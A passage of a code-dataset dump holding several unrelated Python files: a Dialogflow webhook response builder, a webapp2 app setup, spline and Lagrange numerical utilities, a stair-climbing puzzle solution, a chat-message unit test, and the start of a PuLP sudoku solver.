displayed. \n\n :param suggestionList: The List of Suggestions/Quick Replies\n :type suggestionList: list\n :param title: The title of the Suggestions\n :type suggestionList: str, optional\n \"\"\"\n title = kwargs.get(\"title\",\"\")\n self.genericmessages.append({\"quick_replies\":{\"title\":title,\"quickReplies\":suggestionList}})\n def generic_image(self,imageURL,imgalt):\n \"\"\"\n Sends an Image to the User\n\n :param imageURL: The URL of the Image\n :type imageURL: str\n :param imgalt: The Alt Text for the Image\n :type imgalt: str\n \"\"\"\n self.genericmessages.append({\"image\":{\"image_uri\":imageURL,\"accessibility_text\":imgalt}})\n #Google Assistant Rich Responses\n def google_assistant_response(self,speech, **kwargs):\n \"\"\"\n A Google Assistant speech to be said (and displayed) to the user\n\n :param speech: The Text to be said to the user\n :type speech: str\n :param displayText: The text to be displayed in the chat bubble while telling the speech\n :type displayText: str, optional\n :param endConversation: Specifies wheather this response should end the conversation or not\n :type endConversation: bool\n\n .. note:: This MUST Before any Google Assistant Rich Response. Failing to do so will result in an error in Google Assistant\n \"\"\"\n gstts = speech\n gsdisplay = kwargs.get(\"displayText\", \"\")\n self.gendcon = kwargs.get(\"endConversation\",False)\n if gsdisplay != \"\":\n self.googleijson.append({\"simpleResponse\": {\"textToSpeech\":gstts,\"displayText\":gsdisplay}})\n else:\n self.googleijson.append({\"simpleResponse\": {\"textToSpeech\":gstts}})\n def google_assistant_card(self,title,**kwargs):\n \"\"\"\n A Google Assistant Card to be displayed to the user\n\n :param title: The Title of the Card\n :type title: str\n\n :param subtitle: The subtitle of the Card\n :type subtitle: str, optional\n\n :param formatted_text: The text to be displayed along with the card\n :type formatted_text: str, optional\n\n :param btnName: The Name of the button to be displayed on the card\n :type btnName: str, optional\n\n :param btnLink: The link to redirect on button click\n :type btnLink: str, optional\n\n :param imageURL: The URL of the image to be displayed on the card\n :type imageURL: str, optional\n\n :param imageAlt: The Alt Text of the image to be displayed on the card\n :type imageAlt: str, optional\n \n :param imageDisplayOption: The Display options for the image (`Click here For a list of image display options `_)\n :type imageDisplayOption: str, optional\n \"\"\"\n if self.gcardadded == True:\n warnings.warn(\"You can have only one Google Assistant Card. More than one cards will lead to an error in Google Assistant\")\n return \n self.gcardadded = True\n gcardtitle = title\n gcardsub = kwargs.get(\"subtitle\",\"\")\n gcardftext = kwargs.get(\"formatted_text\",\"\")\n gcardbtn = kwargs.get(\"btnName\",\"\")\n gcardurl = kwargs.get(\"btnLink\",\"\")\n imgurl = kwargs.get(\"imageURL\",\"\")\n imgalt = kwargs.get(\"imageAlt\",\"\")\n imgdisopt = kwargs.get(\"imageDisplayOption\",\"\")\n toappend = {}\n if gcardbtn == \"\":\n toappend = {\"basicCard\":{\"title\":gcardtitle,\"subtitle\":gcardsub,\"formatted_text\":gcardftext}}\n else:\n toappend = {\"basicCard\":{\"title\":gcardtitle,\"subtitle\":gcardsub,\"formatted_text\":gcardftext,\"buttons\":[{\"title\":gcardbtn,\"openUrlAction\":{\"url\":gcardurl}}]}}\n if imgurl != \"\":\n toappend[\"basicCard\"][\"image\"] = {\"url\":imgurl,\"accessibilityText\":imgalt}\n if imgdisopt != \"\":\n toappend[\"basicCard\"][\"imageDisplayOptions\"] = imgdisopt\n self.googleijson.append(toappend)\n def google_assistant_new_carousel(self):\n \"\"\"\n Creates a New Google Assistant Carousel\n \"\"\"\n if self.gcarouselindex != -1:\n warnings.warn(\"You can have only one Google Assistant Carousel. More than one Carousels will lead to an error in Google Assistant\")\n return\n self.googleijson.append({\"carouselBrowse\":{\"items\":[]}})\n self.gcarouselindex = len(self.googleijson)-1\n def google_assistant_carousel_add_item(self,title,url,imageURL,imgalt,description=\"\",footer=\"\"):\n \"\"\"\n Adds a new item to a Google Assistant Carousel\n\n :param title: The title of the carousel item\n :type title: str\n :param url: The URL to redirect to when the Carousel item is clicked\n :type url: str\n :param imageURL: The URL of the image to be displayed on the caarousel item\n :type imageURL: str\n :param imgalt: The Alt text of the image to be displayed on the caarousel item\n :type imgalt: str\n :param description: The description to be displayed on the carousel item, defaults to \"\"\n :type description: str, optional\n :param footer: The footer to be displayed on the carousel item, defaults to \"\"\n :type footer: str, optional\n :raises AttributeError: This Error is raised if a new item is added before calling ``google_assistant_new_carousel``\n \"\"\"\n try:\n self.googleijson[self.gcarouselindex][\"carouselBrowse\"][\"items\"].append({\"title\":title,\"openUrlAction\": {\"url\":url},\"description\":description,\"footer\":footer,\"image\":{\"url\":imageURL,\"accessibilityText\":imgalt}})\n except:\n raise AttributeError(\"google_assistant_new_carousel is not created\")\n def google_assistant_add_suggestions(self,suggestionList):\n \"\"\"\n Adds Google Assistant Suggestion Chips to be displayed\n\n :param suggestionList: The list containing the suggestions to be displayed\n :type suggestionList: list\n \"\"\"\n for i in suggestionList:\n self.gsuglist.append({\"title\":i})\n def google_assistant_new_table(self,**kwargs):\n \"\"\"\n Creates a new Google Assistant Table Card\n\n :param title: The title of the Table Card\n :type title: str, optional\n\n :param subtitle: The subtitle of the Table Card\n :type subtitle: str, optional\n\n :param imageURL: The URL of the image to be displayed on the table card\n :type imageURL: str, optional\n\n :param imageAlt: The Alt text of the image to be displayed on the table card\n :type imageAlt: str, optional\n \"\"\"\n if self.gtableindex != -1:\n warnings.warn(\"You can have only one Google Assistant Table. More than one Tables will lead to an error in Google Assistant\")\n return\n imgurl = kwargs.get(\"imageURL\",\"\")\n imgalt = kwargs.get(\"imageAlt\",\"\")\n tabtitle = kwargs.get(\"title\",\"\")\n tabsub = kwargs.get(\"subtitle\",\"\")\n fjson = {}\n fjson = {\"tableCard\": {\"rows\":[],\"columnProperties\": []}}\n if imgurl != \"\":\n fjson[\"tableCard\"][\"image\"] = {\"url\":imgurl,\"accessibilityText\":imgalt}\n if tabtitle != \"\":\n fjson[\"tableCard\"][\"title\"] = tabtitle\n if tabsub != \"\":\n fjson[\"tableCard\"][\"subtitle\"] = tabsub\n self.googleijson.append(fjson)\n self.gtableindex = self.googleijson.index(fjson)\n def google_assistant_table_add_header_row(self,headerList):\n \"\"\"\n Adds a Header row to a Google Assistant Table Card\n\n :param headerList: The list containing the header rows to be added\n :type headerList: list\n :raises AttributeError: This Error is raised if a header row is added before calling ``google_assistant_new_table``\n \"\"\"\n try:\n for i in headerList:\n self.googleijson[self.gtableindex][\"tableCard\"][\"columnProperties\"].append({\"header\":i})\n except:\n raise AttributeError(\"google_assistant_new_table is not created\")\n def google_assistant_table_add_row(self,cellList,addDivider):\n \"\"\"\n Adds a new row to a Google Assistant Table Card\n\n :param cellList: The list containing the rows to be added\n :type cellList: list\n :param addDivider: Specifies if a divider should be added after the row\n :type addDivider: bool\n :raises AttributeError: This Error is raised if a row is added before calling ``google_assistant_new_table``\n \"\"\"\n try:\n tablelist = []\n for i in cellList:\n tablelist.append({\"text\":i})\n self.googleijson[self.gtableindex][\"tableCard\"][\"rows\"].append({\"cells\":tablelist,\"dividerAfter\":addDivider})\n except:\n raise AttributeError(\"google_assistant_new_table is not created\")\n def google_assistant_media_response(self,mediaURL,description,displayName,**kwargs):\n \"\"\"\n Creates a Google Assistant Media Response to play music\n\n :param mediaURL: The URL where the music is located\n :type mediaURL: str\n :param description: The description of the music\n :type description: str\n :param displayName: The name of the music to display\n :type displayName: str\n :param imageURL: The URL of the image to be displayed along with the media response\n :type imageURL: str,optional\n :param imgAlt: The Alt Text of the image to be displayed along with the media response\n :type imgAlt: str,optional\n \"\"\"\n imgURL = kwargs.get(\"imageURL\",\"\")\n imgAlt = kwargs.get(\"imgAlt\",\"\")\n self.googleijson.append({\"mediaResponse\":{\"mediaType\": \"AUDIO\",\"mediaObjects\":[{\"contentUrl\":mediaURL,\"description\":description,\"icon\":{\"url\":imgURL,\"accessibilityText\":imgAlt},\"name\":displayName}]}})\n def google_assistant_ask_permisson(self,speech,permissionList):\n \"\"\"\n Asks for permission from user in Google Assistant to get details like User's real name and address\n\n :param speech: The reason for the Permisssion Request\n :type speech: str\n :param permissionList: The list of Permissions to get from the user \n :type permissionList: list\n \"\"\"\n self.gpermissionjson = {\"intent\":\"actions.intent.PERMISSION\",\"data\":{\"@type\":\"type.googleapis.com/google.actions.v2.PermissionValueSpec\",\"optContext\":speech,\"permissions\":permissionList}}\n self.gpermissionavail = True\n def create_final_response(self):\n \"\"\"\n Creates the Final Response JSON to be sent back to Dialogflow\n\n :raises AttributeError: This error is raised if you try to insert Google Assistant Suggestions to a Google Assistant Rich Response with no items\n :return: The Response JSON\n :rtype: Dictionary\n \"\"\"\n self.fulfiljson = {}\n try:\n if self.gendcon == False:\n expectres = True\n else:\n expectres = False\n except:\n expectres = True\n #Contexts\n if self.contextavail == True:\n self.fulfiljson[\"outputContexts\"] = self.contextlist\n #Event Trigger\n if self.eventavail:\n self.fulfiljson = {\"followupEventInput\":{\"name\":self.trigeventname,\"parameters\":self.trigeventparams,\"languageCode\":self.triglangcode}}\n return self.fulfiljson\n #Generic Reponses\n if self.fulfiltextavail:\n self.fulfiljson = {\"fulfillmentText\":self.ftext}\n if self.genericmessages != []:\n self.fulfiljson[\"fulfillmentMessages\"] = self.genericmessages\n #Google Assistant Responses\n if self.googleijson != []:\n if list(self.googleijson[0].keys())[0] != \"simpleResponse\":\n warnings.warn(\"google_assistant_response() should have been called before adding a Google Assistant Card,Carousel,Table etc. This is a limitation of Google Assistant where the first response must be a simple text\")\n self.fulfiljson[\"payload\"] = {\"google\":{\"expectUserResponse\": expectres,\"richResponse\":{\"items\":self.googleijson}}}\n if self.gsuglist != []:\n try:\n self.fulfiljson[\"payload\"][\"google\"][\"richResponse\"][\"suggestions\"] = self.gsuglist\n except:\n raise AttributeError(\"You are trying to insert suggestions into a Google Assistant Rich Response with no items. This will lead to an error in Actions on Google\")\n if self.gpermissionavail:\n if self.googleijson != []:\n self.fulfiljson[\"payload\"][\"google\"][\"systemIntent\"] = self.gpermissionjson\n else:\n self.fulfiljson[\"payload\"] = {\"google\":{\"expectUserResponse\": expectres,\"systemIntent\":self.gpermissionjson}}\n return self.fulfiljson","repo_name":"vishalbala-nps/dialogflowpy-webhook","sub_path":"dialogflowpy_webhook/response_handler.py","file_name":"response_handler.py","file_ext":"py","file_size_in_byte":18047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"6965600800","text":"__author__ = 'Thom Nichols'\n\nimport config\nimport os\nimport sys\nimport logging\n\n# Force sys.path to have our own directory first, so we can import from it.\nsys.path.insert(0, config.APP_ROOT_DIR)\nsys.path.insert(1, os.path.join(config.APP_ROOT_DIR, 'lib'))\n\nimport webapp2\nimport utils\nimport handlers\nfrom handlers import xmpp, ui, channel\n\n# Configure logging for debug if in dev environment\nif config.DEBUG: logging.getLogger().setLevel(logging.DEBUG)\n\n#logging.debug(\"Env: %s\",os.environ)\nlogging.info('Loading %s, version = %s',\n os.getenv('APPLICATION_ID'),\n os.getenv('CURRENT_VERSION_ID'))\n\n\nROUTES = [\n ('/_ah/xmpp/message/chat/', xmpp.ChatHandler),\n ('/_ah/xmpp/presence/(\\w+)/', xmpp.PresenceHandler),\n ('/_ah/xmpp/subscription/(\\w+)/', xmpp.SubscriptionHandler),\n ('/_ah/xmpp/error/', xmpp.ErrorHandler),\n\n ('/_ah/channel/(\\w+)/', channel.ConnectionHandler),\n ('/token/', channel.TokenRequestHandler),\n\n ('/$', ui.RootHandler),\n ('/resources/$', ui.ResourcesHandler),\n ('/device/(\\d+)/relay/(.*)$', ui.RelayHandler),\n ('/device/', ui.DeviceHandler),\n\n ('/logout', handlers.LogoutHandler),\n ]\n\n\nAPP_CONFIG= {\n 'webapp2_extras.sessions' : {\n 'secret_key' : 'askdfs',\n 'session_max_age' : 60*60*12 # 12 hours\n },\n 'webapp2_extras.jinja2' : {\n 'template_path' : 'views',\n 'globals' : config.PAGE,\n 'environment_args' : {\n 'auto_reload' : config.DEBUG,\n 'autoescape' : handlers.guess_autoescape, \n 'extensions' : ['jinja2.ext.autoescape']\n }\n }\n}\n\napp = webapp2.WSGIApplication(ROUTES, debug=config.DEBUG, config=APP_CONFIG)\n\ndef main(): app.run()\n\nif __name__ == \"__main__\": main()\n","repo_name":"EnerNOC/remoht.us","sub_path":"web/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"23273916971","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 21 12:14:01 2022\n\n@author: phoudayer\n\"\"\"\n\nimport numpy as np\nfrom numpy.polynomial.polynomial import Polynomial\nfrom itertools import combinations\nfrom scipy.interpolate import splrep, splantider, splev, splint\nfrom scipy.special import expn, roots_legendre\n\ndef lnxn(x, n=1, a=1.) : \n \"\"\"\n Function returning the value of: y(x) = x^a \\ln^n(x) and continuates it\n in 0 by y(0) = 0.\n\n Parameters\n ----------\n x : float or array_like\n Input value\n n : INT, optional\n Logarithm exponent value. The default is 1.\n a : float, optional\n Polynamial exponent value (can be real). The default is 1.0.\n\n Returns\n -------\n y : float or array_like (same shape as x)\n Output value\n\n \"\"\"\n with np.errstate(all='ignore') :\n y = np.where(x == 0, 0.0, np.log(x)**n * x**a)\n return y\n\ndef expinv(x, k=1, a=1) : \n \"\"\"\n Function returning the value of:\n \\mathrm{Expinv}(x, k) = \\exp\\left(-x^{-1/k}\\right)\n \n This function is an analytical continuation for x >= 0 of the\n function f(x) = 0 for x < 0, giving it a \"plateau\" looking shape\n close to 0. The length of this plateau can be changed by modifying\n the value of k (higher k, smaller plateau)\n\n Parameters\n ----------\n x : float or array_like\n Input value\n k : float, optional\n Exponent value, it can theoritically be a real but must\n be an integer if one want to compute the analytical\n primitive of the function (multivalued otherwise). \n The default is 1.\n a : float, optional\n Add an optional homotesy to the axis. The default is 1.\n\n Returns\n -------\n y : float or array_like (same shape as x)\n Output value\n\n \"\"\"\n with np.errstate(all='ignore') :\n u = x**-(1/k)\n y = np.exp(-a*u)\n return y\n\ndef expI(x, k=1, a=1) : \n \"\"\"\n Useful function for computing the primitive of expinv(x, k). It \n is defined as: \n \\mathrm{Exp}_\\mathrm{I}(x, k) = kE_{k+1}\\left(x^{-1/k}\\right)\n \n with E_n(x) the generalised exponential integral:\n E_{n}\\left(x\\right) = \n x^{n-1}\\int_{x}^{\\infty}\\frac{e^{-t}}{t^{n}}\\mathrm{d}x. \n\n Parameters\n ----------\n x : float or array_like\n Input value\n k : INT, optional\n Argument of expinv(x, k). The default is 1.\n a : float, optional\n Add an optional homotesy to the axis. The default is 1.\n\n Returns\n -------\n y : float or array_like (same shape as x)\n Output value\n\n \"\"\"\n with np.errstate(all='ignore') :\n u = x**-(1/k)\n y = k * expn(k+1, a*u)\n return y\n \ndef del_u_over_v(du, dv, der) : \n \"\"\"\n Computes the derivatives of u/v\n\n Parameters\n ----------\n du : list of float or array_like\n derivatives of u.\n dv : list of float or array_like\n derivatives of v.\n der : INT in {0, 1, 2}\n Derivative order.\n\n Returns\n -------\n y : float or array_like \n Output value\n\n \"\"\"\n assert der in {0, 1, 2}\n if der == 0 : \n y = du[0] / dv[0]\n elif der == 1 : \n y = (\n + du[1] / dv[0] \n - du[0]*dv[1] / dv[0]**2\n )\n else : \n y = (\n + du[2] / dv[0] \n - (2*du[1]*dv[1] + du[0]*dv[2]) / dv[0]**2 \n + 2*du[0]*dv[1]**2 / dv[0]**3\n )\n return y \n \n\ndef integrate(x, y, a=None, b=None, k=3) : \n \"\"\"\n Function computing the integral of f(x) between a and b\n for fixed sampled values of y_i = f(x_i) at x_i. The routine \n makes use of the scipy.interpolate.splXXX functions to perform\n this integral using B-splines.\n\n Parameters\n ----------\n x : array_like, shape (N, )\n x values on which to integrate.\n y : array_like, shape (N, )\n y values to integrate.\n a, b : floats, optional\n Lower and upper bounds used to compute the integral. \n The default is None.\n k : INT, optional\n Degree of the B-splines used to compute the integral. \n The default is 3.\n\n Returns\n -------\n integral : float\n Result of the integration.\n\n \"\"\"\n tck = splrep(x, y, k=k)\n if a == None :\n a = x[0]\n if b == None : \n b = x[-1]\n integral = splint(a, b, tck)\n return integral\n\ndef integrate2D(r2D, y, domains=None, k=3) : \n \"\"\"\n Function computing the integral of f(r, cos(theta)) for fixed \n sampled values of y_ij = f(r2D_ij, mu_j) with mu_j the values\n of cos(theta) evaluated on the Gausse-Legendre nodes. Here r2D\n depends is generally assumed to be 2 dimensional, allowing the\n grid to be dependant on the angle.\n\n Parameters\n ----------\n r2D : array_like, shape (N, M)\n radial values (along the 1st axis) as a function of\n cos(theta) (along the 2nd axis).\n y : [array_like, shape (N, ) or (N, M)] or [callable(r, cth, D)]\n if type == array :\n y values to integrate and evaluated on r2D. If y is\n dimensional, it will be assumed to be independent of\n the angle.\n if callable(y) :\n function of r and cos(theta) for each domain (D) \n of r2D.\n domains : tuple of arrays\n If given, the different domains on which the integration\n should be carried independently. Useful if y happens to\n be discontinuous on given r2D[i] lines. \n The default is None.\n k : INT, optional\n Degree of the B-splines used to compute the integral. \n The default is 3.\n\n Returns\n -------\n integral : float\n Result of the integration.\n\n \"\"\"\n # Definition of Gauss-Legendre nodes\n N, M = r2D.shape\n cth, weights = roots_legendre(M)\n \n # Integration in given angular directions\n if domains is None: domains = (np.arange(N), )\n if callable(y) :\n radial_integral = np.array([sum(\n integrate(rk[D], y(rk, ck, D) * rk[D]**2, k=5) for D in domains\n ) for rk, ck in zip(r2D.T, cth)])\n else :\n if len(y.shape) < 2 : y = np.tile(y, (M, 1)).T\n radial_integral = np.array([sum(\n integrate(rk[D], yk[D] * rk[D]**2, k=5) for D in domains\n ) for rk, yk in zip(r2D.T, y.T)])\n \n # Integration over the angular domain\n integral = 2*np.pi * radial_integral @ weights\n return integral\n\ndef interpolate_func(x, y, der=0, k=3, prim_cond=None, *args, **kwargs):\n \"\"\"\n Routine returning an interpolation function of (x, y) \n for a given B-spline order k. A derivative order can \n be specified by the value der < k \n (if der=-1, returns an antiderivative).\n\n Parameters\n ----------\n x : array_like, shape (N, )\n x values on which to integrate.\n y : array_like, shape (N, )\n y values to integrate.\n der : INT, optional\n Order of the derivative. \n The default is 0.\n k : INT, optional\n Degree of the B-splines used to compute the integral. \n The default is 3.\n s : float, optional\n Smoothing parameter. \n The default is 0.\n prim_cond : array_like, shape (2, ), optional\n Conditions to specify the constant to add to the\n primitive function if der = -1. The first value \n is an integer i, such that F(x[i]) = second value.\n The default is None, which correspond to F(x[0]) = 0.\n\n Returns\n -------\n func : function(x_eval)\n Interpolation function of x_eval.\n\n \"\"\"\n tck = splrep(x, y, k=k, *args, **kwargs)\n if not type(der) is int :\n def func(x_eval) :\n if 0 not in np.asarray(x_eval).shape :\n return [splev(x_eval, tck, der=d) for d in der]\n else : \n return np.array([]).reshape((len(der), 0))\n return func\n if not -2 < der < k : \n raise ValueError(\n f\"\"\"Derivative order should be either -1 (antiderivative)\n or 0 <= der < k={k} (derivative). Current value is {der}.\"\"\"\n )\n if der >= 0 :\n def func(x_eval) :\n if 0 not in np.asarray(x_eval).shape :\n return splev(x_eval, tck, der=der)\n else : \n return np.array([])\n return func\n else :\n tck_antider = splantider(tck)\n cnst = 0.0\n if prim_cond is not None :\n cnst = prim_cond[1] - splev(x[prim_cond[0]], tck_antider)\n def func(x_eval) :\n return splev(x_eval, tck_antider) + cnst\n return func\n \ndef find_roots(c):\n \"\"\"\n Vectorial solver of cubic and quadratic equations with real roots\n and coefficients. Return the only root we want in lagrange_matrix\n and therefore should not be used in any other way.\n \n Parameters\n ----------\n c : array_like, shape (3, N-1)\n The coefficients of the cubic equation.\n \n Returns\n -------\n roots : array_like, shape (N-1, )\n One root per cubic equation.\n \"\"\" \n solve_cubic = np.ones(c.shape[1], dtype='bool')\n solve_cubic[0], solve_cubic[-1] = False, False\n roots = np.empty((c.shape[1], ))\n \n c2, c3 = c[:, ~solve_cubic], c[:, solve_cubic]\n\n D = np.sqrt(c2[1] * c2[1] - 4.0 * c2[2] * c2[0])\n roots[ 0] = (-c2[1, 0] - D[0]) / (2.0 * c2[2, 0])\n roots[-1] = (-c2[1, 1] + D[1]) / (2.0 * c2[2, 1])\n \n f = ( (3.0 * c3[1] / c3[3]) \n - ((c3[2] ** 2.0) / (c3[3] ** 2.0)) ) / 3.0 \n g = ( ((2.0 * (c3[2] ** 3.0)) / (c3[3] ** 3.0)) \n - ((9.0 * c3[2] * c3[1]) / (c3[3] ** 2.0)) \n + (27.0 * c3[0] / c3[3]) ) /27.0 \n h = ((g ** 2.0) / 4.0 + (f ** 3.0) / 27.0) \n\n i = np.sqrt(((g ** 2.0) / 4.0) - h) \n j = i ** (1 / 3.0) \n k = np.arccos(-(g / (2 * i))) \n L = j * -1 \n M = np.cos(k / 3.0) \n N = np.sqrt(3) * np.sin(k / 3.0) \n P = (c3[2] / (3.0 * c3[3])) * -1 \n \n roots[solve_cubic] = L * (M - N) + P\n \n return roots\n\ndef find_root_i(i, t_i, c_i, order) : \n \"\"\"\n Finds the root of the polynomial with coefficients c_i that lies\n between the adequate values of t_i (which depends on the index i).\n \n Parameters\n ----------\n i : integer\n Polynomial index\n t_i : array_like, shape ([order+1, 2*order], ) (depends on i)\n Window values\n c_i : array_like, shape (2*order, )\n Coefficients of the polynomial\n order : INT\n Scheme order. The latter determines the degree of the polynomial\n which is 2*order-1.\n \n Returns\n -------\n root_i : float\n Adequate polynomial root\n \"\"\"\n deriv_roots = Polynomial(c_i).roots()\n lb = t_i[order-1 - max(order-1 - i, 0)] \n ub = t_i[order-0 - max(order-1 - i, 0)]\n root_i = float(deriv_roots[(lb < deriv_roots) & (deriv_roots < ub)])\n return root_i\n\ndef lagrange_matrix_P(x, order=2) :\n \"\"\"\n Computes the interpolation and derivation matrices based on\n an initial grid x. The new grid on which the \n interpolation/derivation takes place is entierly defined \n from the x nodes following Reese (2013). The use of\n 'order=2' is recommended since the roots of the polynomials\n involved in the routine (degree = 2*order-1) can be found\n analytically, resulting in a faster determination of mat.\n \n Parameters\n ----------\n x : array_like, shape (N, )\n Initial grid from which one interpolates/derives\n order : integer, optional\n Scheme order from the lagrange interpolation/derivation.\n The effective precision order is 2*order, even though the \n number of points involved in each window is also 2*order.\n The default is 2.\n\n Returns\n -------\n mat : array_like, shape (N-1, N, 2)\n Contains the interpolation (mat[...,0]) and\n the derivation (mat[...,1]) matrices.\n\n \"\"\"\n N = len(x)\n mat = np.zeros((N-1, N, 2))\n \n convolve_same = lambda a, v: np.convolve(a, v, mode='same')\n vconv = np.vectorize(convolve_same, signature='(n),(m)->(n)')\n mask = vconv(np.eye(N, dtype='bool'), [True]*2*order)[:-1] \n \n rescale = lambda x, ref : (2*x - (ref[-1] + ref[0]))/ (ref[-1] - ref[0])\n \n t = [rescale(x[mask_i], x[mask_i]) for mask_i in mask]\n s = np.array([0.5*(x[mask_i][-1] - x[mask_i][0]) for mask_i in mask])\n coefs = lambda t : (\n [sum(np.prod(list(combinations(t, k)), axis=1))*(len(t)-k)*(-1)**k for k in range(len(t)-1, -1, -1)] \n + [0.0]*(2*order-len(t))\n )\n c = np.array(list(map(coefs, t)))\n \n if order == 2 :\n roots = find_roots(c.T)\n else : \n roots = [find_root_i(i, t_i, c_i, order) for i, (t_i, c_i) in enumerate(zip(t, c))]\n \n for i, (t_i, root_i, mask_i) in enumerate(zip(t, roots, mask)) :\n n_i = len(t_i)\n t_ij = np.tile(t_i, n_i)[([False] + [True]*n_i)*(n_i-1) + [False]].reshape((n_i, -1))\n \n l_i = np.prod((root_i - t_ij)/(t_i[:, None] - t_ij), axis=1)\n d_i = np.sum(l_i[:, None] / (root_i - t_ij), axis=1)\n \n mat[i, mask_i, 0] = l_i\n mat[i, mask_i, 1] = d_i\n mat[..., 1] /= s[:, None]\n\n return mat\n \n# def lagrange_matrix_F(x, order=2) :\n# \"\"\"\n# Computes the interpolation and derivation matrices based on\n# an initial grid x. The new grid, on which the \n# interpolation/derivation takes place, is entierly defined \n# from the x nodes following Reese (2013). Makes use of \n# a Fortran routine.\n\n# Parameters\n# ----------\n# x : array_like, shape (N, )\n# Initial grid from which one interpolates/derives\n# order : INT, optional\n# Scheme order from the lagrange interpolation/derivation.\n# The effective precision order is 2*order, even though the \n# number of points involved in each window is also 2*order.\n# The default is 2.\n\n# Returns\n# -------\n# mat : array_like, shape(N-1, N, 2)\n# Contains the interpolation (mat[...,0]) and\n# the derivation (mat[...,1]) matrices.\n\n# \"\"\"\n# from init_derive_IFD import init_derive_ifd\n# mat_lag, _ = init_derive_ifd(x, 1, order)\n# return mat_lag","repo_name":"pierrehoudayer/RUBIS","sub_path":"numerical.py","file_name":"numerical.py","file_ext":"py","file_size_in_byte":14411,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"27753022518","text":"import sys\r\n\r\nn = int(sys.stdin.readline())\r\n\r\nstairs = [int(sys.stdin.readline()) for _ in range(n)]\r\n\r\n\r\nresult = 0\r\ntmp=set()\r\nmemory = {(1, stairs.pop())} # (연속 횟수, 점수 총합)\r\n\r\nwhile stairs:\r\n tmp3 = set()\r\n tmp1 = set()\r\n tmp2 = set()\r\n a = stairs.pop()\r\n while memory:\r\n b = memory.pop()\r\n if b[0] == 1:\r\n tmp2.add((2, b[1] + a))\r\n tmp3.add((3, b[1]))\r\n elif b[0] == 2:\r\n tmp3.add((3, b[1]))\r\n elif b[0] == 3:\r\n tmp1.add((1, b[1] + a))\r\n if tmp1:\r\n memory.add(max(tmp1))\r\n if tmp2:\r\n memory.add(max(tmp2))\r\n if tmp3:\r\n memory.add(max(tmp3))\r\nfor k in memory:\r\n result = max(result,k[1])\r\nprint(result)","repo_name":"nube-net/baekjoon-nube-net-gytjdttop-","sub_path":"백준/Silver/2579. 계단 오르기/계단 오르기.py","file_name":"계단 오르기.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"70026168553","text":"#!/usr/bin/env python\nimport unittest\nimport os\nimport sys\nAPP_ROOT = os.path.abspath(\n os.path.join(os.path.dirname(__file__), '..', '..', '..'))\nsys.path.append(os.path.join(APP_ROOT))\nfrom message_base_test import MessageBaseTestCase\n\n\nclass ChatMessageTestCase(MessageBaseTestCase):\n\n @classmethod\n def setUpClass(self):\n super(ChatMessageTestCase, self).setUpClass()\n from db.model.chat_message import ChatMessage\n from db.model.message_metadata import MessageMetadata\n self.ChatMessage = ChatMessage\n self.MessageMetadata = MessageMetadata\n\n def test_constructor(self):\n \"Should properly store constructor parameters and generate metadata.\"\n chat_message = self.ChatMessage(self.content, self.user_1, self.user_2)\n self.assertEqual(chat_message.content, self.content)\n self.assertIsNotNone(chat_message.message_metadata)\n self.assertEqual(chat_message.message_metadata.message, chat_message)\n\n def test_timestamp(self):\n \"Should automatically gives timestamp.\"\n chat_message = self.ChatMessage(self.content, self.user_1, self.user_2)\n try:\n self.session.add(chat_message)\n self.session.flush()\n self.assertIsNotNone(chat_message.created_date)\n finally:\n self.session.delete(chat_message)\n\n def test_constructor_with_none_paramters(self):\n \"Shouldn't allow to create object with None paramters.\"\n self.assertRaises(\n ValueError, self.ChatMessage, \"content\", self.User(\"name\"), None)\n self.assertRaises(\n ValueError, self.ChatMessage, \"\", self.User(\"name\"), self.User(\"name2\"))\n self.assertRaises(\n ValueError, self.ChatMessage, \"content\", None, self.User(\"name\"))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"speedingdeer/real_time_massages_service","sub_path":"app_test/db_test/model_test/chat_message_test.py","file_name":"chat_message_test.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9532759261","text":"import pulp\nimport itertools\nimport sys\nimport argparse\nimport pandas as pd\nimport numpy as np\n\nimport preprocess\n\n# Import dataset\ndef read_data(level):\n data_path = select_level(level)\n data_to_display = preprocess_data_to_display(data_path)\n data_to_compute = preprocess_data_to_compute(data_to_display)\n return data_to_display, data_to_compute\n\ndef sudoku_solver(data_to_compute):\n # Definite LP\n prob = pulp.LpProblem(\"sudoku_solver\", pulp.LpMinimize)\n\n # Objective Function (Dummy)\n # In this case, we do not need a specific objective function\n prob += 0\n\n # Variables\n rows = [i for i in range(1,10)]\n columns = [i for i in range(1,10)]\n values = [i for i in range(1,10)]\n\n cells = pulp.LpVariable.dicts(\"cell\", (rows, columns, values),0,1,\"Binary\")\n\n # Constraint\n ## (1) fulfills blanks with nums from prepared data\n for coodinate in data_to_compute:\n row = coodinate[0]\n column = coodinate[1]\n value = coodinate[2]\n prob += cells[row][column][value] == 1\n\n ## (2) for cells\n for row in rows:\n for column in columns:\n prob += pulp.lpSum([cells[row][column][value] for value in values]) == 1\n\n ## (3) for rows\n for row in rows:\n for value in values:\n prob += pulp.lpSum([cells[row][column][value] for column in columns]) == 1\n\n ## (4) for columns\n for column in columns:\n for value in values:\n prob += pulp.lpSum([cells[row][column][value] for row in rows]) == 1\n\n ## (5) for chunks\n chunk1 = [[row, column] for row in [1,2,3] for column in [1,2,3]]\n chunk2 = [[row, column] for row in [1,2,3] for column in [4,5,6]]\n chunk3 = [[row, column] for row in [1,2,3] for column in [7,8,9]]\n chunk4 = [[row, column] for row in [4,5,6] for column in [1,2,3]]\n chunk5 = [[row, column] for row in [4,5,6] for column in [4,5,6]]\n chunk6 = [[row, column] for row in [4,5,6] for column in [7,8,9]]\n chunk7 = [[row, column] for row in [7,8,9] for column in [1,2,3]]\n chunk8 = [[row, column] for row in [7,8,9] for column in [4,5,6]]\n chunk9 = [[row, column] for row in [7,8,9] for column in [7,8,9]]\n\n chunks = {\"chunk1\":chunk1, \"chunk2\":chunk2, 